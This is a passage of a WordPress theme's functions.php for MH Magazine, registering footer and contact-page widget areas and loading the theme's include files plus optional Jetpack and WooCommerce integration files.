		register_sidebar(array('name' => sprintf(esc_html_x('Footer %d - 1/4 Width', 'widget area name', 'mh-magazine'), 4), 'id' => 'mh-footer-4', 'description' => esc_html__('Widget area in footer.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-footer-widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h6 class="mh-widget-title mh-footer-widget-title"><span class="mh-widget-title-inner mh-footer-widget-title-inner">', 'after_title' => '</span></h6>'));
		register_sidebar(array('name' => esc_html_x('Contact Sidebar', 'widget area name', 'mh-magazine'), 'id' => 'mh-contact', 'description' => esc_html__('Widget area (sidebar) on contact page template.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-contact %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		if ($mh_magazine_options['sidebars'] == 'two') {
			register_sidebar(array('name' => sprintf(esc_html_x('Contact Sidebar %d', 'widget area name', 'mh-magazine'), 2), 'id' => 'mh-contact-2', 'description' => esc_html__('2nd widget area (sidebar) on contact page template.', 'mh-magazine'), 'before_widget' => '<div id="%1$s" class="mh-widget mh-contact-2 %2$s">', 'after_widget' => '</div>', 'before_title' => '<h4 class="mh-widget-title"><span class="mh-widget-title-inner">', 'after_title' => '</span></h4>'));
		}
	}
}
add_action('widgets_init', 'mh_magazine_widgets_init');

/***** Include additional files *****/

require_once('includes/mh-breadcrumb.php');
require_once('includes/mh-customizer.php');
require_once('includes/mh-widgets.php');
require_once('includes/mh-custom-colors.php');
require_once('includes/mh-custom-functions.php');
require_once('includes/mh-google-webfonts.php');
require_once('includes/mh-social-functions.php');
require_once('includes/mh-advertising.php');
require_once('includes/mh-helper-functions.php');
require_once('includes/mh-compatibility.php');

if (is_admin()) {
	require_once('admin/admin.php');
}

/***** Check if Jetpack plugin is installed *****/

if (class_exists('Jetpack')) {
	require_once('includes/mh-jetpack.php');
}

/***** Check if WooCommerce plugin is installed and active *****/

include_once(ABSPATH . 'wp-admin/includes/plugin.php');

if (is_plugin_active('woocommerce/woocommerce.php')) {
	require_once('woocommerce/mh-custom-woocommerce.php');
}


?>